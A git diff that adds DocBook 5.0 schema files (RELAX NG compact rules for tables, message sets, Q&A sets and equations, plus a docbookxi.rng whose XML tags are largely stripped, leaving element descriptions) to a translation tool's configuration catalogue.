+ db.html.attrs & db.html.cellhalign & db.html.cellvalign + db.html.tbody = + + ## A wrapper for the rows of a table or informal table + element tbody { db.html.tbody.attlist, db.html.tr+ } +} +div { + db.html.tr.attlist = + db.html.attrs & db.html.cellhalign & db.html.cellvalign + db.html.tr = + + ## A row in an HTML table + element tr { db.html.tr.attlist, (db.html.th | db.html.td)+ } +} +div { + db.html.th.attlist = + db.html.attrs + & db.html.tablecell.attributes + & db.html.cellhalign + & db.html.cellvalign + db.html.th = + + ## A table header entry in an HTML table + element th { + db.html.th.attlist, (db.all.inlines* | db.all.blocks*) + } +} +div { + db.html.td.attlist = + db.html.attrs + & db.html.tablecell.attributes + & db.html.cellhalign + & db.html.cellvalign + db.html.td = + + ## A table entry in an HTML table + element td { + db.html.td.attlist, (db.all.inlines* | db.all.blocks*) + } +} +div { + db.msgset.role.attribute = attribute role { text } + db.msgset.attlist = + db.msgset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgset.info = db._info.title.only + db.msgset = + + ## A detailed set of messages, usually error messages + element msgset { + db.msgset.attlist, + db.msgset.info, + (db.msgentry+ | db.simplemsgentry+) + } +} +div { + db.msgentry.role.attribute = attribute role { text } + db.msgentry.attlist = + db.msgentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgentry = + + ## A wrapper for an entry in a message set + element msgentry { + db.msgentry.attlist, db.msg+, db.msginfo?, db.msgexplan* + } +} +div { + db.simplemsgentry.role.attribute = attribute role { text } + db.simplemsgentry.audience.attribute = + + ## The audience to which the message relevant + attribute audience { text } + db.simplemsgentry.origin.attribute = + + ## The origin of the message + attribute origin { text } + db.simplemsgentry.level.attribute = + + ## The level of importance or severity of a message + attribute level { text } + db.simplemsgentry.attlist = + db.simplemsgentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.simplemsgentry.audience.attribute + & db.simplemsgentry.origin.attribute + & db.simplemsgentry.level.attribute + db.simplemsgentry = + + ## A wrapper for a simpler entry in a message set + element simplemsgentry { + db.simplemsgentry.attlist, db.msgtext, db.msgexplan+ + } +} +div { + db.msg.role.attribute = attribute role { text } + db.msg.attlist = + db.msg.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msg.info = db._info.title.only + db.msg = + + ## A message in a message set + element msg { + db.msg.attlist, db.msg.info, db.msgmain, (db.msgsub | db.msgrel)* + } +} +div { + db.msgmain.role.attribute = attribute role { text } + db.msgmain.attlist = + db.msgmain.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgmain.info = db._info.title.only + db.msgmain = + + ## The primary component of a message in a message set + element msgmain { db.msgmain.attlist, db.msgmain.info, db.msgtext } +} +div { + db.msgsub.role.attribute = attribute role { text } + db.msgsub.attlist = + db.msgsub.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgsub.info = db._info.title.only + db.msgsub = + + ## A subcomponent of a message in a message set + element msgsub { db.msgsub.attlist, db.msgsub.info, db.msgtext } +} +div { + db.msgrel.role.attribute = attribute role { text } + db.msgrel.attlist = + db.msgrel.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgrel.info = db._info.title.only + db.msgrel = + + ## A related component of a message in a message set + element msgrel { db.msgrel.attlist, db.msgrel.info, db.msgtext } +} +div { + db.msgtext.role.attribute = attribute role { text } + db.msgtext.attlist = + db.msgtext.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgtext = + + ## The actual text of a message component in a message set + element msgtext { db.msgtext.attlist, db.all.blocks+ } +} +div { + db.msginfo.role.attribute = attribute role { text } + db.msginfo.attlist = + db.msginfo.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msginfo = + + ## Information about a message in a message set + element msginfo { + db.msginfo.attlist, (db.msglevel | db.msgorig | db.msgaud)* + } +} +div { + db.msglevel.role.attribute = attribute role { text } + db.msglevel.attlist = + db.msglevel.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msglevel = + + ## The level of importance or severity of a message in a message set + element msglevel { db.msglevel.attlist, db._text } +} +div { + db.msgorig.role.attribute = attribute role { text } + db.msgorig.attlist = + db.msgorig.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgorig = + + ## The origin of a message in a message set + element msgorig { db.msgorig.attlist, db._text } +} +div { + db.msgaud.role.attribute = attribute role { text } + db.msgaud.attlist = + db.msgaud.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgaud = + + ## The audience to which a message in a message set is relevant + element msgaud { db.msgaud.attlist, db._text } +} +div { + db.msgexplan.role.attribute = attribute role { text } + db.msgexplan.attlist = + db.msgexplan.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgexplan.info = db._info.title.only + db.msgexplan = + + ## Explanatory material relating to a message in a message set + element msgexplan { + db.msgexplan.attlist, db.msgexplan.info, db.all.blocks+ + } +} +div { + db.qandaset.role.attribute = attribute role { text } + db.qandaset.defaultlabel.enumeration = + + ## No labels + "none" + | + ## Numeric labels + "number" + | + ## "Q:" and "A:" labels + "qanda" + db.qandaset.defaultlabel.attribute = + + ## Specifies the default labelling + attribute defaultlabel { db.qandaset.defaultlabel.enumeration } + db.qandaset.attlist = + db.qandaset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.qandaset.defaultlabel.attribute? + db.qandaset.info = db._info.title.only + db.qandaset = + + ## A question-and-answer set + element qandaset { + db.qandaset.attlist, + db.qandaset.info, + db.all.blocks*, + (db.qandadiv+ | db.qandaentry+) + } +} +div { + db.qandadiv.role.attribute = attribute role { text } + db.qandadiv.attlist = + db.qandadiv.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.qandadiv.info = db._info.title.only + db.qandadiv = + + ## A titled division in a QandASet + element qandadiv { + db.qandadiv.attlist, + db.qandadiv.info, + db.all.blocks*, + (db.qandadiv+ | db.qandaentry+) + } +} +div { + db.qandaentry.role.attribute = attribute role { text } + db.qandaentry.attlist = + db.qandaentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.qandaentry.info = db._info.title.forbidden + db.qandaentry = + + ## A question/answer set within a QandASet + element qandaentry { + db.qandaentry.attlist, db.qandaentry.info, db.question, db.answer* + } +} +div { + db.question.role.attribute = attribute role { text } + db.question.attlist = + db.question.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.question = + + ## A question in a QandASet + element question { db.question.attlist, db.label?, db.all.blocks+ } +} +div { + db.answer.role.attribute = attribute role { text } + db.answer.attlist = + db.answer.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.answer = + + ## An answer to a question posed in a QandASet + element answer { db.answer.attlist, db.label?, db.all.blocks+ } +} +div { + db.label.role.attribute = attribute role { text } + db.label.attlist = + db.label.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.label = + + ## A label on a Question or Answer + element label { db.label.attlist, db._text } +} +db.math.inlines = db.inlineequation +db.math.blocks = db.equation | db.informalequation +db.equation.content = (db.mediaobject+ | db.mathphrase+) | db._any.mml+ +div { + db.equation.role.attribute = attribute role { text } + db.equation.label.attribute = db.label.attribute + db.equation.attlist = + db.equation.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.equation.label.attribute? + & db.pgwide.attribute? + & db.floatstyle.attribute? + db.equation.info = db._info.title.only + db.equation = + + ## A displayed mathematical equation + element equation { + db.equation.attlist, + db.equation.info, + db.alt?, + db.equation.content, + db.caption? + } +} +div { + db.informalequation.role.attribute = attribute role { text } + db.informalequation.attlist = + db.informalequation.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.informalequation.info = db._info.title.forbidden + db.informalequation = + + ## A displayed mathematical equation without a title + element informalequation { + db.informalequation.attlist, + db.informalequation.info, + db.alt?, + db.equation.content, + db.caption? + } +} +div { + db.inlineequation.role.attribute = attribute role { text } + db.inlineequation.attlist = + db.inlineequation.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.inlineequation = + + ## A mathematical equation or expression occurring inline + element inlineequation { + db.inlineequation.attlist, db.alt?, db.equation.content + } +} +div { + db.mathphrase.role.attribute = attribute role { text } + db.mathphrase.attlist = + db.mathphrase.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.mathphrase = + + ## A mathematical phrase, an expression that can be represented with ordinary text and a small amount of markup + element mathphrase { + db.mathphrase.attlist, + (db._text | db.ubiq.inlines | db._emphasis)* + } +} +div { + db._any.mml = + + ## Any element from the MathML namespace + element mml:* { (db._any.attribute | text | db._any)* } +} +div { + db._any.svg = + + ## Any element from the SVG namespace + element svg:* { (db._any.attribute | text | db._any)* } +} +div { + db.xi.include.attlist = + attribute href { + xsd:anyURI { pattern = "[^#]+" } + }?, + [ a:defaultValue = "xml" ] attribute parse { "xml" | "text" }?, + attribute xpointer { text }?, + attribute encoding { text }?, + attribute accept { text }?, + attribute accept-language { text }? + db.xi.include = + + ## An XInclude + element xi:include { db.xi.include.attlist, db.xi.fallback? } +} +div { + # The fallback element has no attributes + db.xi.fallback = + + ## An XInclude fallback + element xi:fallback { db.all.blocks+ | db.all.inlines+ | db._any* } +} diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbookxi.rng b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbookxi.rng new file mode 100644 index 0000000..c318e9f --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbookxi.rng @@ -0,0 +1,15026 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + Any attribute including in any attribute in any namespace. + + + + + + Any element from almost any namespace + + + + + + + + + + + + + + + +
    + + + + Designates the computer or chip architecture to which the element applies + + + + + provides a standard place for application-specific effectivity + + + + + Indicates standards conformance characteristics of the element + + + + + Indicates the operating system to which the element is applicable + + + + + Indicates the editorial revision to which the element belongs + + + + + Indicates something about the security level associated with the element to which it applies + + + + + Indicates the level of user experience for which the element applies + + + + + Indicates the computer vendor to which the element applies. + + + + + Indicates the word size (width in bits) of the computer architecture to which the element applies + + + + + + Points to the element whose content is to be used as the text of the link + + + + + + Points to an internal link target by identifying the value of its xml:id attribute + + + + + + Points to one or more internal link targets by identifying the value of their xml:id attributes + + + + + + Identifies a link target with a URI + + + + + Identifies the XLink link type + simple + An XLink simple link + + + + + Identifies the XLink role of the link + + + + + + Identifies the XLink arcrole of the link + + + + + + + Identifies the XLink title of the link + + + + + + new + An application traversing to the ending resource should load it in a new window, frame, pane, or other relevant presentation context. + replace + An application traversing to the ending resource should load the resource in the same window, frame, pane, or other relevant presentation context in which the starting resource was loaded. + embed + An application traversing to the ending resource should load its presentation in place of the presentation of the starting resource. + other + The behavior of an application traversing to the ending resource is unconstrained by XLink. The application should look for other markup present in the link to determine the appropriate behavior. + none + The behavior of an application traversing to the ending resource is unconstrained by this specification. No other markup is present to help the application determine the appropriate behavior. + + + + + Identifies the XLink show behavior of the link + + + + + + onLoad + An application should traverse to the ending resource immediately on loading the starting resource. + onRequest + An application should traverse from the starting resource to the ending resource only on a post-loading event triggered for the purpose of traversal. + other + The behavior of an application traversing to the ending resource is unconstrained by this specification. The application should look for other markup present in the link to determine the appropriate behavior. + none + The behavior of an application traversing to the ending resource is unconstrained by this specification. No other markup is present to help the application determine the appropriate behavior. + + + + + Identifies the XLink actuate behavior of the link + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Identifies the unique ID value of the element + + + + + + Specifies the DocBook version of the element and its descendants + + + + + Specifies the natural language of the element and its descendants + + + + + Specifies the base URI of the element and its descendants + + + + + Provides the name or similar semantic identifier assigned to the content in some previous markup scheme + + + + + Provides the text that is to be generated for a cross reference to the element + + + + + Specifies a keyword or keywords identifying additional style information + + + + + changed + The element has been changed. + added + The element is new (has been added to the document). + deleted + The element has been deleted. + off + Explicitly turns off revision markup for this element. + + + + + Identifies the revision status of the element + + + + + + ltr + Left-to-right text + rtl + Right-to-left text + lro + Left-to-right override + rlo + Right-to-left override + + + + + Identifies the direction of text in an element + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Specifies the format of the data + + + + + Indentifies the location of the data by URI + + + + Identifies the location of the data by external identifier (entity name) + + + + + + + continues + Line numbering continues from the immediately preceding element with the same name. + restarts + Line numbering restarts (begins at 1, usually). + + + + + Determines whether line numbering continues from the previous element or restarts. + + + + + + numbered + Lines are numbered. + unnumbered + Lines are not numbered. + + + + + Determines whether lines are numbered. + + + + + + Specifies the initial line number. + + + + + + Identifies the language (i.e. programming language) of the verbatim content. + + + + + Can be used to indicate explicitly that whitespace in the verbatim environment is preserved. Whitespace must always be preserved in verbatim environments whether this attribute is specified or not. + preserve + Whitespace must be preserved. + + + + + + + + + + + + + + + + + + + + + + + + Specifies an identifying string for presentation purposes + + + + + Specifies the width (in characters) of the element + + + + + + compact + The spacing should be "compact". + normal + The spacing should be "normal". + + + + + Specifies (a hint about) the spacing of the content + + + + + + 0 + The element should be rendered in the current text flow (with the flow column width). + 1 + The element should be rendered across the full text page. + + + + + Indicates if the element is rendered across the column or the page + + + + + + Identifies the language (i.e. programming language) of the content. + + + + + optional + The content describes an optional step or steps. + required + The content describes a required step or steps. + + + + + Specifies if the content is required or optional. + + + + + + Specifies style information to be used when rendering the float + + + + + Specifies the width of the element + + + + + Specifies the depth of the element + + + + + Specifies the width of the content rectangle + + + + + Specifies the depth of the content rectangle + + + + + 0 + False (do not scale-to-fit; anamorphic scaling may occur) + 1 + True (scale-to-fit; anamorphic scaling is forbidden) + + + + + Specifies the scaling factor + + + + + center + Centered horizontally + char + Aligned horizontally on the specified character + justify + Fully justified (left and right margins or edges) + left + Left aligned + right + Right aligned + + + + + bottom + Aligned on the bottom of the region + middle + Centered vertically + top + Aligned on the top of the region + + + + + doi + A document object identifier. + isbn + An international standard book number. + isrn + An international standard technical report number (ISO 10444). + issn + An international standard serial number. + libraryofcongress + A Library of Congress reference number. + pubsnumber + A publication number (an internal number or possibly organizational standard). + uri + A Uniform Resource Identifier + + + + + + Identifies the kind of bibliographic identifier + + + + + + + Identifies the nature of the non-standard bibliographic identifier + + + + + + + Identifies the kind of bibliographic identifier + other + Indicates that the identifier is some 'other' kind. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + The text of the title of a section of a document or of a formal block-level element + + + + + + +
    +
    + + + + + + + + + + + + + + + The abbreviation of a title + + + + + + +
    +
    + + + + + + + + + + + + + + + The subtitle of a document + + + + + + +
    +
    + + + + + + + + + + + + + + A wrapper for information about a component or other block + + + + + + + + + +
    +
    + + + + + + + + + + + + + + A wrapper for information about a component or other block with a required title + + + + + + + + + +
    +
    + + + + + + + + + + + + + + A wrapper for information about a component or other block with only a title + + + + + + + + + +
    +
    + + + + + + + + + + + + + + A wrapper for information about a component or other block with only a required title + + + + + + + + + +
    +
    + + + + + + + + + + + + + + A wrapper for information about a component or other block without a title + + + + + + +
    +
    + + + + + + Identifies the controlled vocabulary used by this set's terms + + + + + + + + + + + + + + + + + + A set of terms describing the subject matter of a document + + + + + + +
    +
    + + + + + + Specifies a ranking for this subject relative to other subjects in the same set + + + + + + + + + + + + + + + + + One of a group of terms describing the subject matter of a document + + + + + + +
    +
    + + + + + + + + + + + + + + + A term in a group of terms describing the subject matter of a document + + + + +
    +
    + + + + + + + + + + + + + + + A set of keywords describing the content of a document + + + + + + +
    +
    + + + + + + + + + + + + + + + One of a set of keywords describing the content of a document + + + + +
    + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + A list of operations to be performed in a well-defined sequence + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + A unit of action in a procedure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + Alternative steps in a procedure + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for steps that occur within steps in a procedure + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A portion of a document that is isolated from the main narrative flow + + + sidebar must not occur in the descendants of sidebar + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A summary + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A short description or note about a person + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A quotation set off from the main text + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The source of a block quote or epigraph + + + + + + + + + + + +
    +
    + + + sect1 + Render as a first-level section + sect2 + Render as a second-level section + sect3 + Render as a third-level section + sect4 + Render as a fourth-level section + sect5 + Render as a fifth-level section + + + + + + Indicates how the bridge head should be rendered + + + + + + + Identifies the nature of the non-standard rendering + + + + + + + Indicates how the bridge head should be rendered + other + Identifies a non-standard rendering + + + + + + + + + + + + + + + + + + + + + + + + + + + + A free-floating heading + + + + + + +
    +
    + + + + + + + + + + + + + + + A remark (or comment) intended for presentation in a draft manuscript + + + + +
    +
    + + + + + + + + + + + + + + + + + + A short inscription at the beginning of a document or component + + + + + + + + + + + + + +
    +
    + + + + + + Identifies the desired footnote mark + + + + + + + + + + + + + + + + + + A footnote + + + footnote must not occur in the descendants of footnote + + + + + example must not occur in the descendants of footnote + + + + + figure must not occur in the descendants of footnote + + + + + table must not occur in the descendants of footnote + + + + + table must not occur in the descendants of footnote + + + + + caution must not occur in the descendants of footnote + + + + + important must not occur in the descendants of footnote + + + + + note must not occur in the descendants of footnote + + + + + tip must not occur in the descendants of footnote + + + + + warning must not occur in the descendants of footnote + + + + + indexterm must not occur in the descendants of footnote + + + + + indexterm must not occur in the descendants of footnote + + + + + indexterm must not occur in the descendants of footnote + + + + + sidebar must not occur in the descendants of footnote + + + + + task must not occur in the descendants of footnote + + + + + epigraph must not occur in the descendants of footnote + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A paragraph with a title + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A paragraph + + + The root element must have a version attribute. + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A paragraph that contains only text and inline markup, no block elements + + + + + + + +
    + + + + + + +
    + + + + + + + + + + + + + + + A note of caution + + + caution must not occur in the descendants of caution + + + + + important must not occur in the descendants of caution + + + + + note must not occur in the descendants of caution + + + + + tip must not occur in the descendants of caution + + + + + warning must not occur in the descendants of caution + + + + + + +
    +
    + + + + + + + + + + + + + + + An admonition set off from the text + + + caution must not occur in the descendants of important + + + + + important must not occur in the descendants of important + + + + + note must not occur in the descendants of important + + + + + tip must not occur in the descendants of important + + + + + warning must not occur in the descendants of important + + + + + + +
    +
    + + + + + + + + + + + + + + + A message set off from the text + + + caution must not occur in the descendants of note + + + + + important must not occur in the descendants of note + + + + + note must not occur in the descendants of note + + + + + tip must not occur in the descendants of note + + + + + warning must not occur in the descendants of note + + + + + + +
    +
    + + + + + + + + + + + + + + + A suggestion to the user, set off from the text + + + caution must not occur in the descendants of tip + + + + + important must not occur in the descendants of tip + + + + + note must not occur in the descendants of tip + + + + + tip must not occur in the descendants of tip + + + + + warning must not occur in the descendants of tip + + + + + + +
    +
    + + + + + + + + + + + + + + + An admonition set off from the text + + + caution must not occur in the descendants of warning + + + + + important must not occur in the descendants of warning + + + + + note must not occur in the descendants of warning + + + + + tip must not occur in the descendants of warning + + + + + warning must not occur in the descendants of warning + + + + + + +
    +
    + + + + + + Identifies the type of mark to be used on items in this list + + + + + + + + + + + + + + + + + + + + + + + + A list in which each entry is marked with a bullet or other dingbat + + + + + + + + + + +
    +
    + + + + + + continues + Specifies that numbering should begin where the preceding list left off + restarts + Specifies that numbering should begin again at 1 + + + + + Indicates how list numbering should begin relative to the immediately preceding list + + + + + + ignore + Specifies that numbering should ignore list nesting + inherit + Specifies that numbering should inherit from outer-level lists + + + + + Indicates whether or not item numbering should be influenced by list nesting + + + + + + arabic + Specifies Arabic numeration (1, 2, 3, …) + upperalpha + Specifies upper-case alphabetic numeration (A, B, C, …) + loweralpha + Specifies lower-case alphabetic numeration (a, b, c, …) + upperroman + Specifies upper-case Roman numeration (I, II, III, …) + lowerroman + Specifies lower-case Roman numeration (i, ii, iii …) + + + + + Indicates the desired numeration + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A list in which each entry is marked with a sequentially incremented label + + + + + + + + + + +
    +
    + + + + + + Specifies the keyword for the type of mark that should be used on this + item, instead of the mark that would be used by default + + + + + + + + + + + + + + + + + + A wrapper for the elements of a list item + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A segmented list, a list of sets of elements + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The title of an element of a list item in a segmented list + + + + + + +
    +
    + + + + + + + + + + + + + + + A list item in a segmented list + + + The number of seg elements must be the same as the number of segtitle elements in the parent segmentedlist + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An element of a list item in a segmented list + + + + + + +
    +
    + + + + + + horiz + A tabular presentation in row-major order. + vert + A tabular presentation in column-major order. + inline + An inline presentation, usually a comma-delimited list. + + + + + Specifies the type of list presentation. + + + + + + Specifies the number of columns for horizontal or vertical presentation + + + + + + + + + + + + + + + + + + + + + An undecorated list of single words or short phrases + + + + + + +
    +
    + + + + + + + + + + + + + + + An element of a simple list + + + + + + +
    +
    + + + + + + Indicates a length beyond which the presentation system may consider a term too long and select an alternate presentation for that term, item, or list + + + + + + + + + + + + + + + + + + + + + + + A list in which each entry is composed of a set of one or more terms and an associated description + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A wrapper for a set of terms and the associated description in a variable list + + + + + + + +
    +
    + + + + + + + + + + + + + + + The word or phrase being defined or described in a variable list + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A formal example, with a title + + + example must not occur in the descendants of example + + + + + figure must not occur in the descendants of example + + + + + table must not occur in the descendants of example + + + + + table must not occur in the descendants of example + + + + + caution must not occur in the descendants of example + + + + + important must not occur in the descendants of example + + + + + note must not occur in the descendants of example + + + + + tip must not occur in the descendants of example + + + + + warning must not occur in the descendants of example + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A displayed example without a title + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + A literal listing of all or part of a program + + + + +
    +
    + + + + + + monospaced + The literal layout should be formatted with a monospaced font + normal + The literal layout should be formatted with the current font + + + + + Specifies the class of literal layout + + + + + + + + + + + + + + + + + + + A block of text in which line breaks and white space are to be reproduced faithfully + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + Text that a user sees or might see on a computer screen + + + + +
    +
    + + + + + + + + + + + + + + + + + + A representation of what the user sees or might see on a computer screen + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A formal figure, generally an illustration, with a title + + + example must not occur in the descendants of figure + + + + + figure must not occur in the descendants of figure + + + + + table must not occur in the descendants of figure + + + + + table must not occur in the descendants of figure + + + + + caution must not occur in the descendants of figure + + + + + important must not occur in the descendants of figure + + + + + note must not occur in the descendants of figure + + + + + tip must not occur in the descendants of figure + + + + + warning must not occur in the descendants of figure + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A untitled figure + + + + + + + + + + +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + A displayed media object (video, audio, image, etc.) + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + An inline media object (video, audio, image, and so on) + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for video data and its associated meta-information + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for audio data and its associated meta-information + + + + + +
    + + + + + + + + +
    + + + + + + + + + + + + + + + + + + A wrapper for image data and its associated meta-information + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for a text description of an object and its associated meta-information + + + + + + + + + + + +
    +
    + + + + + + + + + Specifies the (horizontal) alignment of the video data + + + + + + + + + Specifies the vertical alignment of the video data + + + + + + + + + + + + + + + + + + + + + Determines if anamorphic scaling is forbidden + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Pointer to external video data + + + + +
    +
    + + + + + + + + + + + + + + + + + + Pointer to external audio data + + + + +
    +
    + + + + + + + + + Specifies the (horizontal) alignment of the image data + + + + + + + + + Specifies the vertical alignment of the image data + + + + + + + + + + + + + + + + + + + + + Determines if anamorphic scaling is forbidden + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Pointer to external image data + + + + +
    +
    + + + + + + Identifies the encoding of the text in the external file + + + + + + + + + + + + + + + + + + + + Pointer to external text data + + + + +
    +
    + + + + + + + + + + + + + + + + + + A caption + + + example must not occur in the descendants of caption + + + + + figure must not occur in the descendants of caption + + + + + table must not occur in the descendants of caption + + + + + table must not occur in the descendants of caption + + + + + caution must not occur in the descendants of caption + + + + + important must not occur in the descendants of caption + + + + + note must not occur in the descendants of caption + + + + + tip must not occur in the descendants of caption + + + + + warning must not occur in the descendants of caption + + + + + sidebar must not occur in the descendants of caption + + + + + task must not occur in the descendants of caption + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + A general-purpose element for representing the syntax of commands or functions + + + + +
    +
    + + + + + + Specifies the character that should separate the command and its top-level arguments + + + + + Indicates the displayed length of the command; this information may be used to intelligently indent command synopses which extend beyond one line + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A syntax summary for a software command + + + + + + + + + + + + + + + +
    + + + norepeat + Can not be repeated. + repeat + Can be repeated. + + + + + Indicates whether or not repetition is possible. + + + + + + opt + Formatted to indicate that it is optional. + plain + Formatted without indication. + req + Formatted to indicate that it is required. + + + + + Indicates optionality. + + + + + + Indicates optionality. + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + An argument in a CmdSynopsis + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A group of elements in a CmdSynopsis + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + An explicit line break in a command synopsis + + + + +
    +
    + + + + + + + + + + + + + + + A portion of a CmdSynopsis broken out from the main body of the synopsis + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A reference to a fragment of a command synopsis + + + @linkend on synopfragmentref must point to a synopfragment. + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + The syntax summary for a function definition + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + Information supplementing the FuncDefs of a FuncSynopsis + + + + +
    +
    + + + + + + + + + + + + + + + The prototype of a function + + + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A function (subroutine) name and its return type + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An empty element in a function synopsis indicating that the function in question takes no arguments + + + + +
    +
    + + + + + + + + + + + + + + + An empty element in a function synopsis indicating a variable number of arguments + + + + +
    +
    + + + + + + opt + Formatted to indicate that it is optional. + req + Formatted to indicate that it is required. + + + + + Indicates optionality. + + + + + + + + + + + + + + + + + + Information about a function parameter in a programming language + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + Parameters for a function referenced through a function pointer in a synopsis + + + + +
    +
    + + + + + + class + This is the synopsis of a class + interface + This is the synopsis of an interface + + + + + Specifies the nature of the synopsis + + + + + + + + + + + + + + + + + + + + + The syntax summary for a class definition + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + Information supplementing the contents of a ClassSynopsis + + + + +
    +
    + + + + + + + + + + + + + + + A class in an object-oriented programming language + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An interface in an object-oriented programming language + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An exception in an object-oriented programming language + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + Modifiers in a synopsis + + + + +
    +
    + + + + + + + + + + + + + + + The name of an interface + + + + +
    +
    + + + + + + + + + + + + + + + The name of an exception + + + + +
    +
    + + + + + + + + + + + + + + + + + + The name of a field in a class definition + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The initializer for a FieldSynopsis + + + + +
    +
    + + + + + + + + + + + + + + + + + + A syntax summary for a constructor + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A syntax summary for a destructor + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A syntax summary for a method + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The name of a method + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + Parameters to a method + + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + A real-world address, generally a postal address + + + + + + + + + + + + + + + + + + + +
    +
